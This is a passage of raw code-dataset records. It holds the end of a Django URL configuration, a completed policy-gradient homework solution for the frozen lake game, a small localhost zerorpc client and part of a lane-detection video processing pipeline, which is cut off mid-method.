views.CabinetView.as_view(), name='cabinet'),\n url(r'^games/(?P<pk>\\d+)$', views.GameView.as_view(), name='game'),\n url(r'^games/(?P<pk>\\d+)/edit$', views.EditGameView.as_view(), name='edit_game'),\n url(r'^games/(?P<pk>\\d+)/fields$', views.GameFieldsView.as_view(), name='edit_game_fields'),\n url(r'^games/(?P<pk>\\d+)/groups$', views.GameGroupsView.as_view(), name='edit_game_groups'),\n url(r'^games/(?P<pk>\\d+)/topics$', views.GameTopicsView.as_view(), name='edit_game_topics'),\n url(r'^games/(?P<pk>\\d+)/new_free_role$', views.CreateFreeRoleView.as_view(), name='new_free_role'),\n url(r'^games/(?P<pk>\\d+)/new_role$', views.CreateRoleView.as_view(), name='new_role'),\n url(r'^games/(?P<pk>\\d+)/reports/connections_table$', views.ReportConnectionsTable.as_view(),\n name='report_connections_table'),\n url(r'^games/(?P<pk>\\d+)/reports/connections_diagram$', views.ReportConnectionsDiagram.as_view(),\n name='report_connections_diagram'),\n url(r'^games/(?P<pk>\\d+)/reports/connections_diagram.json$', views.ReportConnectionsData.as_view(),\n name='report_connections_json'),\n url(r'^games/(?P<pk>\\d+)/reports/full_roles$', views.ReportFullRolesData.as_view(), name='report_full_roles'),\n url(r'^games/(?P<pk>\\d+)/reports/dual_connections$', views.ReportDualConnections.as_view(),\n name='report_dual_connections'),\n url(r'^roles/(?P<pk>\\d+)$', views.RoleView.as_view(), name='role'),\n url(r'^roles/(?P<pk>\\d+)/edit$', views.EditRoleView.as_view(), name='edit_role'),\n url(r'^roles/(?P<pk>\\d+)/connections$', views.EditConnectionsView.as_view(), name='edit_role_connections'),\n url(r'^roles/(?P<pk>\\d+)/new_connection$', views.AddConnectionView.as_view(), name='add_connection'),\n'''\n","sub_path":"src/content/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"6026278","text":"import math\nimport numpy as np\nimport torch as th\nfrom torch.optim import Adam\nimport gym\nfrom problem4 import Game, QNet\nfrom torch.distributions import Categorical\n\n#-------------------------------------------------------------------------\n'''\n Problem 5: Policy-gradient Method for Deep Reinforcement Learning\n In this problem, you will implement an AI player for the frozen lake game, using a neural network.\n Instead of using the neural network to approximate the Q function, we use the neural network to directly output the action.\n The input (game state) is represented as the one-hot encoding.\n The neural network has one fully connected layer (without biases) with softmax activation.\n The outputs of the network are the probabilities of taking each action for the input state.\n We will use backpropagation to train the neural network.\n You could test the correctness of your code by typing `nosetests test5.py` in the terminal.\n ------------------------------\n Action code\n 0 : \"LEFT\",\n 1 : \"DOWN\",\n 2 : \"RIGHT\",\n 3 : \"UP\"\n'''\n\n#-------------------------------------------------------\n\n\nclass PolicyNet(QNet):\n '''\n The agent is trying to maximize the sum of rewards (payoff) in the game using Policy-Gradient Method.\n PolicyNet is a subclass of the agent in problem 4.\n We will use the weight matrix W as the policy network.\n The agent will use the output probabilities (after softmax) to randomly sample actions.\n '''\n # ----------------------------------------------\n\n def __init__(self, n=4, d=16):\n ''' Initialize the agent.\n Inputs:\n n: the number of actions in the game, an integer scalar.\n d: the number of dimensions of the states of the game, an integer scalar.\n '''\n super(PolicyNet, self).__init__(n, d, 0.)\n\n # ----------------------------------------------\n def compute_z(self, s):\n '''\n Given a state of the game, compute the linear logits of neural netowrk for all actions.\n Inputs:\n s: the current state of the machine, a pytorch vector of length d.\n Output:\n z: the linear logits of the network, a pytorch tensor of length n. n is the number of actions in the game.\n '''\n #########################################\n # INSERT YOUR CODE HERE\n z = self.W.mm(s.view(s.shape[0], 1)).view(-1)\n #########################################\n return z\n\n #-----------------------------------------------------------------\n @staticmethod\n def compute_a(z):\n '''\n Compute probabilities of the agent taking each action.\n Input:\n z: the linear logit of the neural network, a float variable of length n.\n Here n is the number of actions.\n Output:\n a: the probability of the agent taking different actions, a float variable of length n.\n Hint: you could solve this problem using one line of code. You could use any function provided by pytorch.\n '''\n #########################################\n # INSERT YOUR CODE HERE\n a = th.softmax(z, dim=0)\n #########################################\n return a\n\n # ----------------------------------------------\n def forward(self, s):\n '''\n The policy function of the agent.\n Inputs:\n s: the current state of the machine, a pytorch vector of length n_s.\n Output:\n a: the probability of the agent taking different actions, a float variable of length n.\n '''\n #########################################\n # INSERT YOUR CODE HERE\n z = self.compute_z(s)\n a = self.compute_a(z)\n #########################################\n return a\n\n #--------------------------\n @staticmethod\n def sample_action(a):\n '''\n Given a vector of activations (probabilities of taking each action), randomly sample an action according to the probabilities.\n Input:\n a: the probabilities of different actions, a pytorch variable of length n.\n Output:\n m: the sampled action (move), an integer scalar of value, 0, 1, ..., n-1\n logp: the log probability of the sampled action, a float tensor of value between 0 and 1.\n Hint: you could use the th.distributions.Categorical class.\n '''\n #########################################\n # INSERT YOUR CODE HERE\n m = Categorical(a).sample()\n logp = Categorical(a).log_prob(m)\n #########################################\n return int(m), logp\n\n #--------------------------\n def play_episode(self, env, render=False):\n '''\n Play one episode of the game and collect data of actions and rewards, while fixing the model parameters.\n This process is also called roll-out or trial.\n Note: please don't update the parameter of the agent in the episode.\n At each step, sample an action randomly from the output of the network and collect the reward and new state from the game.\n An episode is over when the returned value for \"done\"= True.\n Input:\n env: the envirement of the game\n render: whether or not to render the game (it's slower to render the game)\n Output:\n S: the game states, a python list of game states in each step. S[i] is the game state at the i-th step.\n M: the sampled actions in the game, a python list of sampled actions.\n M[i] is the sampled action at the i-th step.\n logP: the log probability of sampled action at each step, a python list.\n logP[i] is the log probability tensor in the i-th step.\n R: the raw rewards in the game, a python list of collected rewards.\n R[i] is the collected reward at the i-th step.\n '''\n S, M, logP, R = [], [], [], []\n s = env.reset() # initial state of the game\n done = False\n # play the game until the episode is done\n while not done:\n if render:\n env.render() # render the game\n #########################################\n # INSERT YOUR CODE HERE\n\n # compute the probability of taking each action\n a = self.forward(s)\n\n # sample an action based upon the probabilities\n m, logp = self.sample_action(a)\n\n # play one step in the game\n s_new, r, done, _ = env.step(m)\n\n # add the old state update the new state\n S.append(s)\n s = s_new\n\n # add to all new list\n M.append(m)\n logP.append(logp)\n R.append(r)\n #########################################\n return S, M, logP, R\n\n #--------------------------\n @staticmethod\n def discount_rewards(R, gamma=0.98):\n '''\n Given a time sequence of raw rewards in a game episode, compute discounted rewards (non-sparse)\n Input:\n R: the raw rewards collected at each step of the game, a float python list of length h.\n gamma: discount factor, a float scalar between 0 and 1.\n Output:\n dR: discounted future rewards for each step, a float numpy array of length h.\n '''\n #########################################\n # INSERT YOUR CODE HERE\n dR = R[:]\n for i in range(len(dR) - 2, -1, -1):\n dR[i] = dR[i] + dR[i + 1] * gamma\n #########################################\n return dR\n\n #-----------------------------------------------------------------\n @staticmethod\n def compute_L(logP, dR):\n '''\n Compute policy loss of a game episode: the sum of (- log_probability * discounted_reward) at each step\n Input:\n logP: the log probability of sampled action at each step, a python list of length n.\n Here n is the number of steps in the game.\n logP[i] is the log probability tensor of the i-th step in the game.\n dR: discounted future rewards for each step, a float python list of length n.\n Output:\n L: the squared error of step, a float scalar tensor.\n '''\n #########################################\n # INSERT YOUR CODE HERE\n L = sum([-logP[i] * dR[i] for i in range(len(dR))])\n #########################################\n return L\n\n #--------------------------\n def play(self, env, n_episodes, render=False, gamma=.95, lr=.1):\n '''\n Given a game environment of gym package, play multiple episodes of the game.\n An episode is over when the returned value for \"done\"= True.\n At each step, pick an action and collect the reward and new state from the game.\n After an episode is done, compute the discounted reward and update the parameters of the model using gradient descent.\n Input:\n env: the envirement of the game of openai gym package\n n_episodes: the number of episodes to play in the game.\n render: whether or not to render the game (it's slower to render the game)\n gamma: the discount factor, a float scalar between 0 and 1.\n lr: learning rate, a float scalar, between 0 and 1.\n Outputs:\n total_rewards: the total number of rewards achieved in the game\n '''\n optimizer = Adam([self.W], lr=lr)\n total_rewards = 0.\n # play multiple episodes\n for _ in range(n_episodes):\n #########################################\n # INSERT YOUR CODE HERE\n\n # compute gradients\n S, M, logP, R = self.play_episode(env, render)\n dR = self.discount_rewards(R, gamma)\n L = self.compute_L(logP, dR)\n L.backward()\n\n # update model parameters\n optimizer.step()\n # reset the gradients of W to zero\n optimizer.zero_grad()\n #########################################\n total_rewards += sum(R) # assuming the list of rewards of the episode is R\n return total_rewards\n","sub_path":"HW_5_ReinforcementLearning/problem5.py","file_name":"problem5.py","file_ext":"py","file_size_in_byte":10524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"256514786","text":"import zerorpc\nimport socket\nimport time # just for delaying\n\nclass Client(object):\n def __init__(self, port):\n \"\"\"The client get initialized here\"\"\"\n self.host, self.port = '127.0.0.1', port\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.connect((self.host, self.port))\n\n def run(self):\n self.sock.send(\"bar\")\n service_port = self.sock.recv(1024)\n print(\"got : \", service_port)\n cli = zerorpc.Client()\n cli.connect('tcp://127.0.0.1:{}'.format(service_port))\n interfaces = cli.list()\n for interface in interfaces:\n print(interface)\n\n iface = raw_input(\"Enter the interface : \")\n cli.trace(iface)\n time.sleep(3)\n #for interface in cli.list():\n # print(interface)\n response = cli.halt()\n print(\"got response here : {}\".format(response))\n \nif __name__ == '__main__':\n client = Client(8000)\n client.run()\n\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"354887411","text":"import os\nimport sys\nif '..' not in sys.path:\n print(\"pipeline.py: appending '..' to sys.path\")\n sys.path.append('..')\nimport numpy as np\nimport cv2\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport pprint \nimport copy \nimport winsound \nfrom tqdm import tqdm, trange\nfrom collections import deque, defaultdict\nfrom datetime import datetime\nfrom classes.line import Line\nfrom classes.plotdisplay import PlotDisplay\nfrom common.utils import (sliding_window_detection , polynomial_proximity_detection, \n offCenterMsg , curvatureMsg , colorLanePixels , displayPolynomial , displayRoILines, \n displayDetectedRegion , displayText , displayGuidelines , displayPolySearchRegion, \n display_one, display_two, display_multi )\nfrom common.sobel import apply_thresholds, apply_perspective_transform, perspectiveTransform, erodeDilateImage\n \npp = pprint.PrettyPrinter(indent=2, width=100)\nprint(' Loading pipeline.py - cwd:', os.getcwd())\n\nclass VideoPipeline(object):\n NAME = 'ALFConfig'\n \n def __init__(self, cameraConfig, **kwargs):\n\n self.camera = cameraConfig\n self.height = self.camera.height\n self.width = self.camera.width\n self.camera_x = self.camera.width //2\n self.camera_y = self.camera.height\n \n self.debug = kwargs.get('debug' , False)\n self.debug2 = kwargs.get('debug2' , False)\n self.debug3 = kwargs.get('debug3' , False)\n self.displayResults = kwargs.get('displayResults' , False)\n self.displayFittingInfo = kwargs.get('displayFittingInfo' , False)\n self.displayRealignment = kwargs.get('displayRealignment' , False)\n self.overlayBeta = kwargs.get('overlayBeta' , 0.7)\n self.ERODE_DILATE = kwargs.get('erode_dilate' , False) \n \n self.mode = kwargs.get('mode' , 1)\n self.POLY_DEGREE = kwargs.get('poly_degree' , 2)\n self.MIN_POLY_DEGREE = kwargs.get('min_poly_degree' , 2)\n self.MIN_X_SPREAD = kwargs.get('min_x_spread' , 90)\n self.MIN_Y_SPREAD = kwargs.get('min_y_spread' , 350)\n\n\n self.HISTORY = kwargs.get('history' , 8)\n self.COMPUTE_HISTORY = kwargs.get('compute_history' , 2)\n \n self.NWINDOWS = kwargs.get('nwindows' , 30)\n self.HISTOGRAM_WIDTH_RANGE = kwargs.get('hist_width_range' , 600)\n self.HISTOGRAM_DEPTH_RANGE = kwargs.get('hist_depth_range' , 2 * self.height // 3)\n self.WINDOW_SRCH_MRGN = kwargs.get('window_search_margin' , 55)\n self.INIT_WINDOW_SRCH_MRGN = kwargs.get('init_window_search_margin' , self.WINDOW_SRCH_MRGN)\n self.MINPIX = kwargs.get('minpix' , 90)\n self.MAXPIX = kwargs.get('maxpix' , 8000)\n \n self.POLY_SRCH_MRGN = kwargs.get('poly_search_margin' , 45)\n \n self.IMAGE_RATIO_HIGH_THRESHOLD = kwargs.get('image_ratio_high_threshold', 40)\n self.IMAGE_RATIO_LOW_THRESHOLD = kwargs.get('image_ratio_low_threshold' , 2)\n\n self.LANE_COUNT_THRESHOLD = kwargs.get('lane_count_threshold' , 4500)\n self.LANE_RATIO_LOW_THRESHOLD = kwargs.get('lane_ratio_low_threshold' , 2)\n self.LANE_RATIO_HIGH_THRESHOLD = kwargs.get('lane_ratio_high_threshold' , 60)\n \n self.RSE_THRESHOLD = kwargs.get('rse_threshold' , 80)\n\n self.PARALLEL_LINES_MARGIN = kwargs.get('parallel_lines_margin' , 70)\n self.YELLOW_DETECTION_LIMIT = kwargs.get('yello_limit' , 25)\n self.RED_DETECTION_LIMIT = kwargs.get('red_limit' , 50)\n self.OFF_CENTER_ROI_THRESHOLD = kwargs.get('off_center_roi_threshold', 60)\n self.CURRENT_OFFCTR_ROI_THR = np.copy(self.OFF_CENTER_ROI_THRESHOLD)\n\n self.HISTOGRAM_SEARCH_RANGE = (self.camera_x - self.HISTOGRAM_WIDTH_RANGE, self.camera_x + self.HISTOGRAM_WIDTH_RANGE)\n\n ## Thresholding Parameters \n self.HIGH_RGB_THRESHOLD = kwargs.get('high_rgb_threshold' , 255) # 180) # 220\n self.MED_RGB_THRESHOLD = kwargs.get('med_rgb_threshold' , 255) # 180) # 175 ## chgd from 110 2-26-20\n self.LOW_RGB_THRESHOLD = kwargs.get('low_rgb_threshold' , 255) # 100) # 175 ## chgd from 110 2-26-20\n self.VLOW_RGB_THRESHOLD = kwargs.get('vlow_rgb_threshold' , 255) # 35) # 175 ## chgd from 110 2-26-20\n\n self.XHIGH_SAT_THRESHOLD = kwargs.get('xhigh_sat_threshold' , 255) # 120) # 150\n self.HIGH_SAT_THRESHOLD = kwargs.get('high_sat_threshold' , 255) # 65) # 150\n self.LOW_SAT_THRESHOLD = kwargs.get('low_sat_threshold' , 255) # 20) # 20 ## chgd from 110 2-26-20\n\n self.XHIGH_THRESHOLDING = kwargs.get('xhigh_thresholding' , 'cmb_mag_x')\n self.HIGH_THRESHOLDING = kwargs.get('high_thresholding' , 'cmb_mag_x')\n self.NORMAL_THRESHOLDING = kwargs.get('med_thresholding' , 'cmb_rgb_lvl_sat')\n self.LOW_THRESHOLDING = kwargs.get('low_thresholding' , 'cmb_mag_xy')\n self.VLOW_THRESHOLDING = kwargs.get('vlow_thresholding' , 'cmb_mag_xy')\n \n self.HISAT_THRESHOLDING = kwargs.get('hisat_thresholding' , 'cmb_mag_x')\n self.LOWSAT_THRESHOLDING = kwargs.get('lowsat_thresholding' , 'cmb_hue_x')\n \n # self.DARK_THRESHOLDING = 'cmb_mag_x'\n # self.lowsat_thresholding = 'cmb_rgb_lvl_sat_mag'\n # self.NORMAL_THRESHOLDING = 'cmb_rgb_lvl_sat_mag_x'\n\n ## set threshold limits for various conditions\n self.initialize_thresholding_parameters()\n\n self.slidingWindowBootstrap = True\n self.firstFrame = True\n self.RoIAdjustment = False\n self.validLaneDetections = False\n self.imgThrshldHistory = []\n self.imgCondHistory = []\n self.imgAcceptHistory = []\n self.imgAdjustHistory = [] \n self.diffsSrcDynPoints = []\n self.offctr_history = []\n self.imgPixelRatio = []\n self.src_points_history = [] \n self.HLS_key = ['Hue', 'Lvl', 'Sat']\n self.RGB_key = ['Red', 'Grn', 'Blu']\n self.imgUndistStats = self.initImageInfoDict()\n self.imgWarpedStats = self.initImageInfoDict()\n\n self.ttlFullReject = 0\n self.ttlSkipFrameDetect = 0 \n self.ttlRejectedFrames = 0 \n self.ttlAcceptedFrames = 0 \n self.ttlRejectedFramesSinceAccepted = 0 \n self.ttlAcceptedFramesSinceRejected = 0 \n\n ## Parameters for perspective transformation source/destination points \n\n self.y_src_top = kwargs.get('y_src_top' , 480) ## 460 -> 465 y_src_bot - 255\n self.y_src_bot = kwargs.get('y_src_bot' , self.height) ## image.shape[0] - 20\n self.RoI_x_adj = kwargs.get('RoI_x_adj' , 25)\n self.lane_theta = kwargs.get('lane_theta' , 40) ## Lane Angle \n self.x_bot_disp = kwargs.get('bot_x_disp' , 375)\n \n self.x_dst_left = kwargs.get('x_dst_left' , 300)\n self.x_dst_right = kwargs.get('x_dst_right' , 1000)\n self.y_dst_top = kwargs.get('y_dst_top' , 0)\n self.y_dst_bot = kwargs.get('y_dst_bot' , self.height - 1) \n\n ## Parameters indicating extent of detected region to be displayed on final image\n self.displayRegionTop = kwargs.get('displayRegionTop' , self.y_src_top)\n self.displayRegionBot = kwargs.get('displayRegionBot' , self.y_src_bot)\n \n print(' y_src_bot: ', self.y_src_bot, ' displayRegionBot : ', self.displayRegionBot)\n \n self.src_points_list, self.src_points = self.build_source_RoI_region()\n self.dst_points_list, self.dst_points = self.build_dest_RoI_region()\n self.prev_src_points_list = copy.copy(self.src_points_list)\n\n ## Destination points for Perspective Transform \n self.curvature_y_eval = self.y_src_bot\n self.offCenter_y_eval = self.y_src_bot\n\n self.np_format = {\n 'float' : lambda x: \"%7.2f\" % x,\n 'int' : lambda x: \"%5d\" % x\n }\n np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =500, formatter = self.np_format)\n \n self.LeftLane = Line(name = 'Left', history = self.HISTORY, compute_history = self.COMPUTE_HISTORY,\n poly_degree = self.POLY_DEGREE, min_poly_degree = self.MIN_POLY_DEGREE,\n min_x_spread = self.MIN_X_SPREAD, min_y_spread = self.MIN_Y_SPREAD, \n height = self.height, y_src_top = self.y_src_top, y_src_bot = self.y_src_bot, \n rse_threshold = self.RSE_THRESHOLD)\n self.RightLane= Line(name = 'Right', history = self.HISTORY, compute_history = self.COMPUTE_HISTORY,\n poly_degree = self.POLY_DEGREE, min_poly_degree = self.MIN_POLY_DEGREE,\n min_x_spread = self.MIN_X_SPREAD, min_y_spread = self.MIN_Y_SPREAD, \n height = self.height, y_src_top = self.y_src_top, y_src_bot = self.y_src_bot, \n rse_threshold = self.RSE_THRESHOLD)\n print(' Pipeline initialization complete...') \n\n\n\n def initImageInfoDict(self):\n \n plots_dict = {}\n plots_dict.setdefault('RGB', [])\n plots_dict.setdefault('HLS', [])\n for key1 in self.RGB_key + self.HLS_key : ## ['Hue', 'Lvl', 'Sat', 'Red', 'Grn', 'Blu', 'RGB']:\n plots_dict.setdefault(key1, [])\n\n return plots_dict\n\n def saveImageStats(self, image, imageDict):\n \n imgHLS = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n imageDict['RGB'].append(np.round(image.mean(),0))\n imageDict['HLS'].append(np.round(imgHLS.mean(),0))\n\n img_RGB_Avgs = np.round(image.mean(axis=(0,1)),0)\n img_HLS_Avgs = np.round(imgHLS.mean(axis=(0,1)),0)\n\n for i,key in enumerate(self.RGB_key):\n imageDict[key].append(img_RGB_Avgs[i])\n for i,key in enumerate(self.HLS_key):\n imageDict[key].append(img_HLS_Avgs[i])\n\n\n def process_one_frame(self, **kwargs):\n \n self.debug = kwargs.get('debug' , True)\n self.debug2 = kwargs.get('debug2' , True)\n self.debug3 = kwargs.get('debug3' , False)\n read_next = kwargs.get('read_next', True)\n size = kwargs.get('size', (15,7))\n show = kwargs.get('show', True)\n # display = kwargs.get('display', True)\n self.displayResults = kwargs.get('displayResults' , self.displayResults )\n self.displayFittingInfo = kwargs.get('displayFittingInfo', self.displayFittingInfo)\n self.displayRealignment = kwargs.get('displayRealignment', self.displayRealignment)\n\n # print(kwargs)\n # print(f' displayFittingInfo: {self.displayFittingInfo} displayRealignment:{self.displayRealignment} displayResults:{self.displayResults}')\n \n if read_next:\n rc1= self.inVideo.getNextFrame() \n else:\n rc1 = True\n \n if rc1:\n outputImage, disp = self(displayResults = self.displayResults,\n displayFittingInfo = self.displayFittingInfo, \n displayRealignment = self.displayRealignment, \n debug = self.debug, debug2 = self.debug2, debug3 = self.debug3)\n self.outVideo.saveFrameToVideo(outputImage, debug = False) \n \n # _ = display_one(outputImage, size=size, title = self.frameTitle)\n else:\n outputImage, disp = None, None\n\n winsound.MessageBeep(type=winsound.MB_ICONHAND)\n\n return (outputImage, disp)\n\n\n def process_frame_range(self, toFrame, **kwargs):\n \n self.debug = kwargs.get('debug' , False)\n self.debug2 = kwargs.get('debug2' , False)\n self.debug3 = kwargs.get('debug3' , False)\n display = kwargs.get('display', False)\n disp_interval = kwargs.get('disp_interval', 50)\n size = kwargs.get('size', (15,5))\n show = kwargs.get('show', True)\n self.displayResults = kwargs.get('displayResults' , self.displayResults )\n self.displayFittingInfo = kwargs.get('displayFittingInfo', self.displayFittingInfo)\n self.displayRealignment = kwargs.get('displayRealignment', self.displayRealignment)\n\n if toFrame > self.inVideo.ttlFrames:\n toFrame = self.inVideo.ttlFrames\n \n print(' displayFittingInfo: ', self.displayFittingInfo, ' displayRealignment:', self.displayRealignment, ' displayResults: ', self.displayResults)\n print(' Process frames : {} to: {} of {} frames'.format(self.inVideo.currFrameNum, toFrame, self.inVideo.ttlFrames), flush= True)\n rc1 = True\n \n # progress_bar = tqdm( range(self.inVideo.currFrameNum, toFrame), unit=' frames ',\n # initial = self.inVideo.currFrameNum) ## , postfix={'loss':cost_np, 'acc': accuracy_np}) \n # for i in progress_bar: \n # for i in trange(self.inVideo.currFrameNum, toFrame):\n\n while self.inVideo.currFrameNum < toFrame and rc1: \n rc1 = self.inVideo.getNextFrame()\n if rc1:\n output, disp = self(displayResults = self.displayResults,\n displayFittingInfo = self.displayFittingInfo, \n displayRealignment = self.displayRealignment,\n debug = self.debug, debug2 = self.debug2, debug3 = self.debug3)\n self.outVideo.saveFrameToVideo(output, debug = self.debug) \n else:\n break\n \n if (self.inVideo.currFrameNum % disp_interval == 0):\n print(f\"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - Completed {self.inVideo.currFrameNum} frames \")\n if show : ## or (110 <=Pipeline.inVideo.currFrameNum <=160) :\n display_two(self.prevBestFit, self.imgLanePxls, size = (15,5), \n title1 = 'Prev best fit (Cyan: Prev fit, Yellow: New proposal)' , \n title2 = 'ImgLanePxls (Cyan: Prev fit, Yellow: New proposal, Fuschia: New Best Fit)' )\n display_one(output, size= size, title = self.inVideo.frameTitle) \n \n print('Finshed - Current frame number :', self.inVideo.currFrameNum)\n return\n\n\n def __call__(self, **kwargs ):\n '''\n '''\n self.debug = kwargs.get('debug' , False)\n self.debug2 = kwargs.get('debug2', False)\n self.debug3 = kwargs.get('debug3', False)\n self.debug4 = kwargs.get('debug4', False)\n self.displayResults = kwargs.get('displayResults' , self.displayResults )\n self.displayFittingInfo = kwargs.get('displayFittingInfo', self.displayFittingInfo)\n self.displayRealignment = kwargs.get('displayRealignment', self.displayRealignment)\n self.exit = kwargs.get('exit' , 0) \n self.mode = kwargs.get('mode' , self.mode)\n self.slidingWindowBootstrap = kwargs.get('slidingWindowBootstrap' , self.slidingWindowBootstrap) \n self.image = self.inVideo.image \n self.frameTitle = self.inVideo.frameTitle\n self.resultExtraInfo = None\n\n ###----------------------------------------------------------------------------------------------\n ### PIPELINE \n ###----------------------------------------------------------------------------------------------\n self.imgUndist = self.camera.undistortImage(self.image)\n\n self.saveImageStats(self.imgUndist, self.imgUndistStats)\n\n self.src_points_history.append(self.src_points)\n\n self.imgWarped, self.M , self.Minv = perspectiveTransform(self.imgUndist, self.src_points, self.dst_points, debug = self.debug4)\n \n self.saveImageStats(self.imgWarped, self.imgWarpedStats)\n \n self.imgRoI = displayRoILines(self.imgUndist, self.src_points_list, thickness = 2)\n self.imgRoIWarped, _, _ = perspectiveTransform(self.imgRoI , self.src_points , self.dst_points)\n self.imgRoIWarped = displayRoILines(self.imgRoIWarped , self.dst_points_list, thickness = 2, color = 'yellow')\n\n ###----------------------------------------------------------------------------------------------\n ### Select image to process based on MODE parameter, and select thrsholding parameters\n ###----------------------------------------------------------------------------------------------\n self.set_thresholding_parms()\n\n ###----------------------------------------------------------------------------------------------\n ### Debug Info\n ###---------------------------------------------------------------------------------------------- \n\n if self.debug:\n self.debugInfo_ImageInfo()\n self.debugInfo_ImageSummaryInfo()\n self.debugInfo_srcPointsRoI(title= 'Perspective Tx. source points')\n\n ###----------------------------------------------------------------------------------------------\n ### Apply thresholding and Warping of thresholded images \n ###----------------------------------------------------------------------------------------------\n if self.mode == 1:\n self.image_to_threshold = self.imgUndist\n else:\n self.image_to_threshold = self.imgWarped\n\n outputs = apply_thresholds(self.image_to_threshold, self.thresholdParms)\n\n if self.mode == 1:\n warped_outputs = apply_perspective_transform(outputs, self.thresholdStrs, self.src_points, self.dst_points, \n size = (15,5), debug = self.debug)\n self.working_image = warped_outputs[self.thresholdMethod]\n self.imgThrshld = outputs[self.thresholdMethod]\n else:\n self.working_image = outputs[self.thresholdMethod]\n self.imgThrshld = outputs[self.thresholdMethod]\n \n # display_one(self.imgThrshld, size=(15,7), title = 'imgThrshld')\n # display_two(self.imgThrshld, self.working_image, title1 = 'imgThrshld', title2 = 'working_image')\n\n # if self.exit == 1:\n # return self.imgThrshld, None\n\n ###----------------------------------------------------------------------------------------------\n ## if ERODE_DILATE flag is True, erode/dilate thresholded image\n ###----------------------------------------------------------------------------------------------\n # if self.+mode == 1: ### Warped AFTER thresholding\n # self.post_threshold, _, Minv = perspectiveTransform(self.imgThrshld, self.src_points, self.dst_points, debug = self.debug4)\n # else: ### Warped BEFORE thresholding\n # self.post_threshold = self.imgThrshld\n\n # if self.ERODE_DILATE:\n # self.working_image = erodeDilateImage(self.post_threshold , ksize = 3, iters = 3)\n # else:\n # self.working_image = self.post_threshold\n \n # self.working_image = self.post_threshold\n\n\n ###----------------------------------------------------------------------------------------------\n ## INTERMEDIATE DEBUG DISPLAYS\n ###----------------------------------------------------------------------------------------------\n # if debug and displayResults: ## and self.mode == 2:\n if self.debug:\n self.debugInfo_ThresholdedImage()\n \n ###----------------------------------------------------------------------------------------------\n ### Find lane pixels \n ###----------------------------------------------------------------------------------------------\n if self.slidingWindowBootstrap:\n window_search_margin = self.INIT_WINDOW_SRCH_MRGN if self.firstFrame else self.WINDOW_SRCH_MRGN\n reset_search_base = (self.firstFrame or self.imgAcceptHistory[-1] < -10) \n if self.RoIAdjustment :\n reset_search_base = False\n self.out_img, self.histogram, self.detStats = sliding_window_detection(self.working_image, \n self.LeftLane, self.RightLane, \n nwindows = self.NWINDOWS, \n histWidthRange = self.HISTOGRAM_WIDTH_RANGE, \n histDepthRange = self.HISTOGRAM_DEPTH_RANGE, \n search_margin = window_search_margin, \n reset_search_base = reset_search_base,\n debug = self.debug,\n debug2 = self.debug2) \n\n else: \n self.out_img, self.histogram, self.detStats = polynomial_proximity_detection(self.working_image, \n self.LeftLane, self.RightLane, \n search_margin = self.POLY_SRCH_MRGN, \n debug = self.debug)\n if self.debug:\n self.debugInfo_LaneDetInfo()\n \n self.assess_lane_detections()\n \n # if self.exit == 2:\n # return self.out_img, None \n \n ###----------------------------------------------------------------------------------------------\n ### Fit polynomial on found lane pixels \n ###----------------------------------------------------------------------------------------------\n for Lane in [self.LeftLane, self.RightLane]:\n Lane.fit_polynomial(debug = self.debug)\n\n self.assess_fitted_polynomials()\n \n if self.debug:\n self.debugInfo_DetectedLanes(display=0, size = (15,5))\n\n if self.displayFittingInfo:\n self.debugInfo_displayFittingInfo() \n\n ###----------------------------------------------------------------------------------------------\n ### Build output image frame \n ###----------------------------------------------------------------------------------------------\n self.build_result_image() \n \n ###----------------------------------------------------------------------------------------------\n ### Determine if an adjustment of the Perspective transformation window is necessary and if so, \n ### adjust the SRC_POINTS_LIST and/or DST_POINTS_LIST accordingly \n ###----------------------------------------------------------------------------------------------\n self.adjust_RoI_window()\n\n ###----------------------------------------------------------------------------------------------\n ### All done - build display results if requested \n ###---------------------------------------------------------------------------------------------- \n if self.displayResults:\n self.build_display_results()\n\n if self.firstFrame :\n self.firstFrame = False\n\n return self.resultImage, self.resultExtraInfo\n \n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def assess_lane_detections(self):\n\n imgPixelRatio, self.NztoSrchNzRatio, self.NztoImageNzRatio, ttlImageNZPixels, ttlLaneNZPixels = self.detStats\n self.imgPixelRatio.append(imgPixelRatio)\n\n lower_nz_pxl_cnt = round(np.sum(self.working_image[480:,:]) * 100/(self.height*self.width//3),2)\n\n if self.debug:\n print()\n print('assess_lane_detections()')\n print('-'*40)\n print(' Lower image non_zero pixel ratio: %{:8.2f}'.format(lower_nz_pxl_cnt))\n print(' (Image NZ pixels to Total Pixels in image) imgPixelRatio : %{:8.2f} \\n'\\\n ' (Detected NZ Pixels to All pixels in Search Region) NZtoSrNZRatio : %{:8.2f} \\n' \\\n ' (Detected NZ Pixels to All NZ Pixels in image) NztoTtlNzRatio: %{:8.2f}'.format(\n imgPixelRatio , self.NztoSrchNzRatio , self.NztoImageNzRatio ))\n print() \n\n msgs = []\n image_conditions = []\n \n ##------------------------------------------------------------------------------------------\n ## Frame / Lane detection Quality checks \n ##------------------------------------------------------------------------------------------\n for Lane in [self.LeftLane, self.RightLane]:\n \n if (Lane.pixelCount[-1] < self.LANE_COUNT_THRESHOLD): \n image_conditions.append(10) \n msgs.append(' *** (10) {:5s} Lane pixel count under threshold - Pxl Count: {:7.0f} < Count Threshold: ({:4d}) '.format(\n Lane.name, Lane.pixelCount[-1], self.LANE_COUNT_THRESHOLD))\n Lane.goodLaneDetection = False\n\n elif (Lane.pixelRatio[-1] < self.LANE_RATIO_LOW_THRESHOLD): \n image_conditions.append(11)\n msgs.append(' *** (11) {:5s} Lane pixel ratio under threshold - Pxl Ratio: {:7.3f} < Ratio Threshold: ({:7.3f}) '\\\n ' Pxl Count: {:7.0f} - Count Threshold: ({:4d})'.format(Lane.name, \n Lane.pixelRatio[-1], 